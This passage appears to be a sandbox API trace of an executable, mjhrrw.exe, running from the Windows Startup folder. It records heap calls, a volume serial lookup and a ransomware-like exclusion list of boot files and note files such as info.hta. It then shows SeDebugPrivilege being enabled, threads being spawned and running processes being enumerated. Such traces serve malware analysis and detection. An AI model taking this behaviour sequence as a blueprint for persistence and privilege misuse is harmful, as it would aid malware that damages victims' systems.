(in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f270 | out: hHeap=0xc10000) returned 1 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc33ae8 | out: hHeap=0xc10000) returned 1 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21888 | out: hHeap=0xc10000) returned 1 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f7f0 | out: hHeap=0xc10000) returned 1 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc219c0 | out: hHeap=0xc10000) returned 1 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1ff58 | out: hHeap=0xc10000) returned 1 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc237e8 | out: hHeap=0xc10000) returned 1 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f088 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f0d8 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2f100 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0210.472] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f0d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0210.472] GetProcessHeap () returned 0xc10000 [0210.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f088 | out: hHeap=0xc10000) returned 1 [0210.473] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fe14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fe14*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0210.475] GetProcessHeap () returned 0xc10000 [0210.475] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0210.475] GetProcessHeap () returned 0xc10000 [0210.475] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc27340 [0210.475] GetProcessHeap () returned 0xc10000 [0210.475] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f748 [0210.475] GetProcessHeap () returned 0xc10000 [0210.475] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x190) returned 0xc219c0 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x60) returned 0xc1ff58 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x5a) returned 0xc1e6b8 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc1e6b8, Size=0xb2) returned 0xc21888 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x184) returned 0xc33ae8 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f730 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc237e8 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x250) returned 0xc2f270 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0xa0) returned 0xc33eb8 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x96) returned 0xc21ff0 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x96) returned 0xc20170 [0210.476] GetProcessHeap () returned 0xc10000 [0210.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc1e2b8 [0210.476] GetProcessHeap () returned 0xc10000 [0210.477] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e2b8 | out: hHeap=0xc10000) returned 1 [0210.477] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt", lpDst=0xc21ff0, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt") returned 0x4b [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc33eb8 | out: hHeap=0xc10000) returned 1 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x70) returned 0xc23a00 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x62) returned 0xc1e6b8 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x62) returned 0xc22140 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0210.477] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xc1e6b8, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22140 | out: hHeap=0xc10000) returned 1 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc1e6b8, Size=0xc2) returned 0xc21628 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0xc2) returned 0xc214e8 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0210.477] GetProcessHeap () returned 0xc10000 [0210.477] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0210.478] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xc21628, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc214e8 | out: hHeap=0xc10000) returned 1 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc23a00 | out: hHeap=0xc10000) returned 1 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc35120 [0210.478] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc35120, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc35120 | out: hHeap=0xc10000) returned 1 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x182) returned 0xc35120 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x24e) returned 0xc352b0 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x98) returned 0xc20170 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc20170, Size=0xae) returned 0xc33c78 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x6a) returned 0xc23a00 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc237e8 | out: hHeap=0xc10000) returned 1 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f270 | out: hHeap=0xc10000) returned 1 [0210.478] GetProcessHeap () returned 0xc10000 [0210.478] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0210.478] GetProcessHeap () returned 0xc10000 [0210.479] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21628 | out: hHeap=0xc10000) returned 1 [0210.479] GetProcessHeap () returned 0xc10000 [0210.479] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f748 | out: hHeap=0xc10000) returned 1 [0210.479] GetProcessHeap () returned 0xc10000 [0210.479] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc219c0 | out: hHeap=0xc10000) returned 1 [0210.479] GetProcessHeap () returned 0xc10000 [0210.479] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1ff58 | out: hHeap=0xc10000) returned 1 [0210.479] GetProcessHeap () returned 0xc10000 [0210.479] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc33ae8 | out: hHeap=0xc10000) returned 1 [0210.479] GetProcessHeap () returned 0xc10000 [0210.479] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x14) returned 0xc285f8 [0210.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3822ee, lpParameter=0xc285f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0210.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x38239a, lpParameter=0x95fe4c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0210.482] GetProcessHeap () returned 0xc10000 [0210.482] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x14) returned 0xc28618 [0210.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x382161, lpParameter=0xc28618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234 [0210.483] GetProcessHeap () returned 0xc10000 [0210.483] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x14) returned 0xc284b8 [0210.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x381a76, lpParameter=0xc284b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238 [0210.483] GetProcessHeap () returned 0xc10000 [0210.483] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x14) returned 0xc286d8 [0210.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x381cc5, lpParameter=0xc286d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c [0210.484] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0xffffffff) returned 0x0 [0275.161] WaitForMultipleObjects (nCount=0x4, lpHandles=0x95fea8*=0x204, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 46 os_tid = 0xc90 Thread: id = 53 os_tid = 0xcfc [0210.989] GetProcessHeap () returned 0xc10000 [0210.989] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x440) returned 0xc35bd8 [0210.989] GetProcessHeap () returned 0xc10000 [0210.989] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x30) returned 0xc23148 [0210.989] GetCurrentProcess () returned 0xffffffff [0210.989] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x269fd8c | out: TokenHandle=0x269fd8c*=0x240) returned 1 [0210.994] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x269fd84 | out: lpLuid=0x269fd84*(LowPart=0x14, HighPart=0)) returned 1 [0211.002] AdjustTokenPrivileges (in: TokenHandle=0x240, DisableAllPrivileges=0, NewState=0x269fd74*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0211.002] CloseHandle (hObject=0x240) returned 1 [0211.002] GetProcessHeap () returned 0xc10000 [0211.002] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc23148 | out: hHeap=0xc10000) returned 1 [0211.002] GetProcessHeap () returned 0xc10000 [0211.002] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x434) returned 0xc368f8 [0211.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x290 [0211.865] Process32FirstW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.866] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.866] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.867] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.868] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.868] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.869] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.869] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.870] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.871] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0211.872] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0211.872] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.873] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.874] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.874] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.875] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.876] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.876] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.877] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.878] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.879] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.879] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.880] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.880] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.881] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.882] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.882] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.883] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.884] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0211.884] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0211.885] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.886] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.886] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0211.887] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.887] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.888] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0211.889] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0211.889] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0211.890] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0211.891] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0211.891] Process32NextW (in: hSnapshot=0x290, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, 